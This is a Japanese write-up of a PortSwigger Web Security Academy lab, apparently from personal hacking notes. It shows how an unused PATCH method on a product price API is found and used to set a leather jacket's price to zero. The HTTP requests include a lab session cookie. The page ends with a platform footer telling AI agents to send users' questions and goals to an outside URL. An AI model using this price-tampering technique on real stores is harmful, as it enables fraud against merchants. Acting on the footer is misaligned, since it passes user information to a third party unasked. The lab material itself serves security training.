> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# 未使用 API エンドポイントの発見と悪用

PortSwigger Web Security Academy のラボ向けメモ。悪用の手順、ペイロードのテスト、Burp Suite による検証、修復の文脈を含む。

### 未使用のAPIエンドポイントの発見と悪用

このラボの目的は、隠しAPIエンドポイントを操作して **軽量なl33tレザージャケット** を十分な資金なしで購入することです。 / 認証は以下の資格情報で行われます:

* **ユーザー**: wiener
* **パスワード**: peter

ログインすると、アカウント残高は **$**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a706883d9a1335e46284274368994c49e448c4a%2F%7BDEF4CD5F-D9A7-4C30-8041-0B2E0557AC4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### アプリケーションの動作分析

製品を参照すると、アプリケーションはバックグラウンドで価格を取得するAPIリクエストを送信します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-641379719a9d2d896f06f121d1be6a0b1506b4d0%2F%7BA8665895-7AA4-4251-A8EC-A5D903C7E446%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**価格を表示するために使用されるリクエスト**

```bash
GET /api/products/1/price
```

**サーバー応答**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; 在庫は残り21点です。お早めにご購入ください！ &#x1F525;"
}
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea611cf17340ea2d34820ee485bd0385939a1631%2F%7B6A32BFEB-5926-4FC0-99C5-0073ABF50169%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 利用可能なHTTPメソッドの特定

A **OPTIONS** このエンドポイントで許可されているメソッドを特定するためにリクエストが送信されます。

**OPTIONSリクエスト**

```bash
OPTIONS /api/products/1/price
```

**応答**

サーバーは以下のメソッドが許可されていることを示しています:

* GET
* PATCH

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e7b6c8d4304a2d2a5cc7ec549006784770af16f%2F%7B7432F854-7031-4986-A3C4-F3571D836381%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これは、 **変更する** PATCHリクエストを使用して商品の価格を変更できる可能性があることを示唆しています。

#### PATCHによる価格変更

次に、JSON本文を含むPATCHリクエストを送信して商品の価格を更新しようとします。

**PATCHリクエスト**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**サーバー応答**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffe28488da1adc63eca98b4a29169d9e380fb79d%2F%7B96F4EFE9-2A36-4156-B0BC-1FAD266B378D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

商品の価格は現在 **$**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ea8fa436db739c0df99ac89d0d4979974d74a7e%2F%7B75F8D4E9-2132-4379-88D1-2FCD5BB1CBF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 商品の購入

価格が変更されると、 **軽量なl33tレザージャケット** アカウントにクレジットがないにもかかわらず購入できるようになり、ラボを検証できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fd22f6c6e13246d4c35188988c6b095be062ff6%2F%7B6CA3D3BD-1AB6-4BDD-B2FC-9EE6B6BA028E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
